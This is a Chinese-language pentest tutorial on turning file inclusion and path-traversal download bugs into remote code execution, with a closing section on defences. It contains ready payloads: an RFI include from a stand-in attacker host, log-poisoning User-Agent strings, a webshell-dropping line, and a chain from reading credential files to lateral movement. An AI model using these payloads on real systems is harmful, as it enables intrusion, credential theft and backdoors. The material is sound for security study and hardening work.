文件包含与下载漏洞实战:从LFI到RCE的渗透测试进阶指南

发布时间:2026/8/8 1:22:02
文件包含与下载漏洞实战:从LFI到RCE的渗透测试进阶指南 1. 项目概述从“读取”到“掌控”的实战进阶文件包含与下载读取漏洞听起来像是渗透测试领域里一个老生常谈的话题。很多刚入门的朋友可能觉得这不就是找个../../etc/passwd路径试试能读出来就算有漏洞读不出来就过。但在我过去十多年的实战和红队评估经历里真正把这类漏洞“玩出花”从一个简单的信息泄露点变成获取服务器权限、穿透内网的致命跳板中间隔着巨大的认知和实践鸿沟。这个项目标题“实战进阶与场景突破”恰恰点出了核心我们不仅要识别漏洞更要精通在不同复杂场景下如何利用、如何绕过层层防御、如何将有限的读取能力转化为实际的突破。简单来说这类漏洞的本质是应用程序未能对用户控制的文件路径参数进行充分过滤导致攻击者可以“越界”读取或下载服务器文件系统上的任意文件。这远不止是看看/etc/passwd那么简单。从Web应用的配置文件如数据库连接字符串、源码文件到中间件的日志、临时文件再到系统的敏感文件如/proc/self/environ、SSH密钥每一次成功的读取都可能泄露下一阶段攻击所需的关键信息。而“包含”漏洞如PHP的include、require则更危险它允许将远程或本地文件作为代码执行直接导致远程命令执行RCE。网络上相关的CTF题目如ctfshow、DVWA、Pikachu靶场和讨论很多但它们往往是理想化的、剥离了复杂环境的教学案例。真正的“实战进阶”意味着你要面对WAFWeb应用防火墙的规则过滤、面对开发人员编写的自定义安全函数、面对路径的多种编码和变形、面对没有直接回显的“盲”包含场景。而“场景突破”则要求你不仅能利用漏洞还要能根据读取到的信息比如一段数据库配置、一个内部接口地址灵活调整攻击链达成更深层次的目标。接下来我将结合大量实战案例拆解其中的核心思路、绕过技巧和升级打法。2. 漏洞核心原理与利用范式深度解析理解原理是绕过一切防御的基础。很多人一上来就忙着用工具扫字典却对漏洞为什么会产生、服务器如何解析路径一知半解遇到稍微变化的情况就束手无策。2.1 文件包含漏洞动态代码执行的“后门”文件包含漏洞主要出现在使用include、require、include_once、require_once等函数的PHP应用中其他语言如JSP、ASP也有类似机制但PHP最为常见。其危险之处在于被包含的文件内容会被当作PHP代码执行。2.1.1 包含的类型与本质区别本地文件包含LFI包含服务器本地的文件。例如?page../../etc/passwd。如果目标文件不是有效的PHP代码服务器会直接将其内容输出前提是allow_url_include为Off且未使用封装协议。这常常是读取敏感文件的第一步。远程文件包含RFI包含远程服务器上的文件。例如?pagehttp://attacker.com/shell.txt。这需要php.ini中allow_url_fopen和allow_url_include均设置为On在如今的生产环境中已较为罕见但仍是需要检查的项。RFI的危害是立竿见影的直接等同于获取Webshell。关键点很多文章只强调RFI但在实际中遇到LFI的概率远大于RFI。我们的进阶思路是将LFI转化为“类RFI”的效果。即使不能直接包含远程URL我们也可以通过包含服务器上一些我们能控制内容的文件如日志、缓存、Session文件来注入PHP代码并执行。2.1.2 包含的“代码执行”触发条件一个巨大的误区是只要成功包含了一个文本文件就能执行其中的PHP代码。不对。PHP引擎只会在文件被include的那一刻将其内容当作代码来解析。如果你包含了一个纯文本的/etc/passwdPHP引擎会尝试解析这些用户列表信息这通常会导致语法错误而报错但文件内容可能会在错误信息中泄露出来。那么如何让包含的文件变成有效的PHP代码有两种主要方式包含一个已经是PHP格式的文件比如包含上传功能上传的图片马需结合文件上传漏洞或者包含系统已有的PHP文件如/proc/self/environ、日志文件并在这些文件的某个字段如User-Agent中注入PHP代码。利用PHP封装协议这是LFI进阶利用的灵魂。php://input允许你将POST请求体作为代码执行。php://filter则是一个“转换器”它可以用来读取文件源码绕过include执行导致的错误甚至进行编码转换。实操心得遇到疑似LFI的点第一个测试的不是../../etc/passwd而是php://filter/convert.base64-encode/resourceindex.php。这能直接读取指定文件的Base64编码内容解码后获得源码无论这个文件是不是PHP、会不会被执行。这招在CTF和实战中都是信息收集的“起手式”。2.2 文件下载/读取漏洞敏感信息的“直通车”与包含漏洞不同下载/读取漏洞的功能点本身设计就是读取文件并输出其内容如下载附件、查看图片、读取文档。常见的参数名如file、filename、path、url。漏洞成因是程序在拼接文件路径时直接使用了用户输入且未进行规范化或过滤目录穿越符../。2.2.1 常见的漏洞代码模式// 模式1直接拼接 $filename $_GET[file]; readfile(/var/www/html/downloads/ . $filename); // 模式2使用函数但过滤不严 $file basename($_GET[file]); // basename()会去掉路径中的目录部分但无法防御../../../etc/passwd $filepath /download/ . $file;2.2.2 与包含漏洞的利用差异下载读取漏洞的利用目标通常是获取文件内容而不是执行代码。因此它的利用更直接但深度依赖对目标系统文件路径的熟悉程度。你需要知道哪些文件里有宝Web相关../WEB-INF/web.xmlJava应用可能泄露数据库配置和内部结构、../config/database.php、../.env、../.git/config泄露Git信息。系统相关../../etc/passwd用户列表、../../etc/shadow密码哈希需root权限、../../proc/self/environ当前进程环境变量常包含密钥、路径。日志文件这是连接LFI和RCE的桥梁。../../var/log/apache2/access.logApache访问日志、../../var/log/nginx/access.log。通过在HTTP请求中注入恶意代码如User-Agent:?php system($_GET[‘c’]);?再包含这个日志文件代码就会被执行。注意事项路径深度../的个数需要反复尝试。一个实用的技巧是使用Burp Suite的Intruder模块对路径穿越深度进行模糊测试../../../etc/passwd,../../../../etc/passwd...或者利用....//....//....//etc/passwd这种双重编码或特殊变形来绕过简单的字符串过滤。3. 实战进阶绕过过滤与防御的艺术在实际的网站或安全防护产品中开发者不会坐以待毙。他们会部署各种过滤和拦截。这时粗暴的../../../往往无效。我们需要一套组合拳。3.1 常见过滤机制与绕过方法3.1.1 关键字黑名单过滤例如代码中可能用str_replace()过滤../、etc、passwd等关键字。双写绕过如果过滤是简单的替换为空..././过滤掉../后变成../。etc可以尝试eetcctc。大小写混淆..\Windows路径分隔符、..//、%2e%2e%2fURL编码。超长路径绕过利用操作系统对路径长度的限制和解析特性如/./././../././etc/passwd中间的/./会被系统规范化掉但可能绕过简单的字符串匹配。3.1.2 路径白名单或后缀拼接这是更棘手的情况。代码可能要求参数必须以.jpg结尾或者只允许访问images/目录下的文件。$file $_GET[file]; if (strpos($file, ‘..’) ! false) { die(‘Hacker!’); } $path ‘/var/www/html/images/’ . $file . ‘.jpg’; readfile($path);利用空字节%00截断在PHP版本小于5.3.4时%00空字节会被认为是字符串结束符。因此file../../../etc/passwd%00拼接后路径变为/images/../../../etc/passwd%00.jpg系统在读取到%00时就停止了忽略了后面的.jpg。注意此方法在现代PHP环境中已基本失效。利用PHP封装协议php://filter不受后缀限制。你可以尝试filephp://filter/convert.base64-encode/resource../../../etc/passwd。即使后面被拼接了.jpg整个字符串被当作php://filter...这个“协议流”的参数.jpg成了参数的一部分通常不影响协议解析。利用目录穿越跳出限制目录关键在于../的数量要足够跳出程序拼接的基目录。例如基目录是/var/www/html/images/要读到/etc/passwd可能需要../../../../etc/passwd。3.2 高级场景无回显与日志注入3.2.1 盲文件包含有时候包含文件后页面没有明显变化或者只返回一个统一的错误页。这时需要判断包含是否成功。时间延迟判断包含一个不存在的远程URL如http://192.168.1.100:9999或使用php://filter读取一个很大的文件观察页面响应时间是否明显变长。如果包含了一个不存在的资源响应通常会很快失败如果成功包含了一个本地大文件则会有读取延迟。DNS外带查询这是更隐蔽的方式。如果可以包含http://URL可以尝试包含一个由你控制的域名下的URL如http://yourdomain.com/。然后在你的DNS服务器日志中查看是否有来自目标服务器的查询请求以此证明包含成功。例如利用php://filter和convert.base64-encode将文件内容编码后作为子域名的一部分发出DNS请求需要将Base64字符串中的和/进行URL安全替换但这通常用于CTF实战中较难。3.2.2 日志文件注入实战详解这是将LFI转化为RCE的经典手法极其重要。假设我们找到了一个LFI点?page../../../var/log/apache2/access.log并且能读到日志内容。确认日志路径和可读性首先通过LFI读取可能的日志路径如/var/log/httpd/access_log、/var/log/nginx/access.log、/usr/local/apache2/logs/access.log等。不同系统、不同Web服务器、不同安装方式路径差异很大。污染日志我们需要在日志中写入PHP代码。由于日志记录的是HTTP请求我们可以通过修改HTTP请求头来注入。最常用的是User-Agent头因为我们可以完全控制它。使用Burp Suite或Curl发起一个请求将User-Agent设置为?php system($_GET[‘cmd’]); ?。这个请求会被记录到access.log中一行记录可能类似于192.168.1.1 - - [日期] “GET /index.php HTTP/1.1” 200 1234 “-” “?php system($_GET[‘cmd’]); ?“包含执行然后我们请求LFI链接?page../../../var/log/apache2/access.logcmdid。服务器会读取日志文件当PHP引擎解析到包含进来的日志内容时遇到?php system($_GET[‘cmd’]); ?这段代码就会执行它并将执行id命令的结果输出到页面上可能混杂在日志文本中。踩坑记录日志注入有几个常见的坑。第一日志文件可能很大包含速度慢且容易超时。可以尝试包含error.log它通常更小并且也可以通过请求一个不存在的路径如?php phpinfo();?)来将代码写入错误日志。第二PHP代码中的尖括号、可能在写入日志时被HTML编码或转义。可以尝试使用短标签?或script language”php”。第三确保你的代码注入位置在日志行中是独立的不会被其他字符如引号破坏语法。我通常会在代码前后加上换行符\n或者使用/**/注释来隔离。4. 场景突破从信息泄露到权限提升单纯的读取一个文件只是开始。高手和普通人的区别在于能将从不同文件读取到的碎片信息拼凑成一张通往服务器最高权限的地图。4.1 信息拼图典型敏感文件与利用链下表列出了一些关键文件及其可能泄露的“宝藏”以及下一步的行动思路文件路径可能包含的敏感信息利用思路与后续动作/proc/self/environ当前进程的环境变量。可能包含DOCUMENT_ROOT网站根目录、数据库连接字符串如DB_PASSWORD、其他API密钥。1. 直接获取数据库密码尝试连接。2. 获取绝对路径为其他文件包含提供精确路径。~/.bash_history当前用户的历史命令记录。可能包含数据库登录命令、sudo命令、敏感文件操作记录。分析历史操作推测服务器结构、寻找其他敏感文件位置、甚至发现密码明文。/etc/passwd系统用户列表。获取用户名为暴力破解SSH或系统服务提供字典。../WEB-INF/web.xml(Java)Java Web应用配置可能包含数据库配置、其他资源文件路径。获取数据库凭证结合../WEB-INF/classes/目录下的源码文件进行代码审计寻找更多漏洞。../.git/configGit仓库配置。可能包含远程仓库地址可能是内部地址。利用git-dumper等工具尝试下载整个.git目录恢复源码进行白盒审计。../config/database.php(Laravel等)框架的数据库配置文件。直接获取数据库访问权限。../.env现代框架如Laravel, Node.js的环境变量文件。通常包含数据库密码、APP_KEY、第三方API密钥等最高机密。/var/lib/mlocate/mlocate.db系统文件索引数据库如果存在。可以查询特定文件名如id_rsa,config.inc.php在全盘的位置。4.2 利用链构建案例从LFI到GetShell假设在一次授权测试中我们通过一个下载功能发现路径穿越漏洞可以读取/etc/passwd。第一步信息收集读取/etc/passwd发现用户www-data和deploy。尝试读取/home/deploy/.bash_history成功。发现历史命令中有cd /var/www/html/myapp和git pull origin master。读取/var/www/html/myapp/.git/config发现内部GitLab地址http://gitlab.internal/myproject.git。第二步扩大战果读取/var/www/html/myapp/.env成功获取数据库密码Sup3rS3cr3tPss!和Redis密码。尝试用此密码SSH登录deploy用户失败密码不同。读取/var/www/html/myapp/config/database.php确认数据库主机为localhost。第三步寻找突破口读取Apache日志/var/log/apache2/access.log发现大量请求但直接包含执行未成功可能代码被转义。尝试读取/proc/self/environ成功发现环境变量APP_KEYbase64:xxxxxx...和DB_PASSWORDSup3rS3cr3tPss!与.env一致同时发现DOCUMENT_ROOT/var/www/html/myapp/public。第四步LFI to RCE既然知道了绝对路径和日志路径我们尝试更精准的日志注入。向网站发起一个请求User-Agent设置为?php file_put_contents(‘/var/www/html/myapp/public/shell.php’, ‘?php eval($_POST[“cmd”]);?’);?。然后包含日志文件?file../../../var/log/apache2/access.log。如果注入成功这段代码会执行在Web目录下写入一个Webshell文件shell.php。访问http://target.com/shell.php使用POST参数cmdsystem(‘id’);确认命令执行成功。第五步权限提升与横向移动通过Webshell查看当前用户权限whoami发现是www-data。查找具有SUID权限的文件find / -perm -4000 2/dev/null寻找提权机会。查看/home/deploy目录下的文件或许能找到SSH私钥id_rsa或其他配置文件。利用获取到的内部GitLab地址尝试从当前服务器向内网其他机器发起探测或攻击。这个案例展示了如何将简单的文件读取通过信息拼图一步步导向代码执行和内网渗透。关键在于保持好奇心和联想能力每一个读到的信息都可能是指向下一个目标的钥匙。5. 防御视角开发与运维的加固指南站在攻击者的角度理解漏洞最终是为了更好地防御。作为开发或运维人员以下措施至关重要5.1 开发层输入处理与设计白名单机制是王道对于文件包含或下载功能尽可能使用白名单。预先定义好允许访问的文件名或ID通过映射表如数据库将用户传入的ID映射到真实的、完整的服务器路径。绝对不要直接将用户输入拼接进路径。路径规范化与过滤如果必须使用用户输入的部分路径请使用realpath()函数PHP来解析绝对路径并与允许的基准目录进行比较。确保规范化后的路径以基准目录开头。例如$base ‘/var/www/html/uploads/’; $userInput $_GET[‘file’]; $realPath realpath($base . $userInput); if ($realPath false || strpos($realPath, $base) ! 0) { // 路径不存在或试图穿越基目录 die(‘Invalid file.’); }禁用危险特性在php.ini中确保allow_url_include和allow_url_fopen设置为Off。这是阻止RFI的最有效方法。上下文相关输出编码对于下载功能设置正确的Content-Type和Content-Disposition头。对于本应显示图片却输出了文本的情况要检查逻辑。5.2 运维与配置层最小权限原则运行Web服务的用户如www-data,nginx应该具有尽可能低的文件系统权限。确保其只能读取Web目录下必要的文件绝对不能读取/etc、/home、日志目录除非必要等。日志文件安全将Web服务器日志目录的权限设置为仅对root和所需的管理员组可读。避免Web用户对日志文件有写权限尽管攻击者通常通过HTTP请求“写”入日志这取决于Web服务器的配置。定期更新与安全审计及时更新Web框架、中间件和PHP版本修复已知的包含漏洞如%00截断。对代码进行定期的安全审计特别是文件操作相关的函数。部署WAF/IDSWeb应用防火墙可以拦截常见的路径穿越攻击Payload。但需知WAF是缓解措施不能替代安全的代码。文件包含与下载读取漏洞如同一把被遗留在门上的钥匙。攻击者的任务就是找到它并尝试打开房间里所有的锁。而防御者的任务不仅是要收好这把钥匙更要确保即使用户拿到了钥匙也无法打开任何一扇不该打开的门。这场博弈始于对漏洞原理最深度的理解终于对安全边界的全方位守护。希望这篇来自实战的总结能为你提供打开新思路的“钥匙”。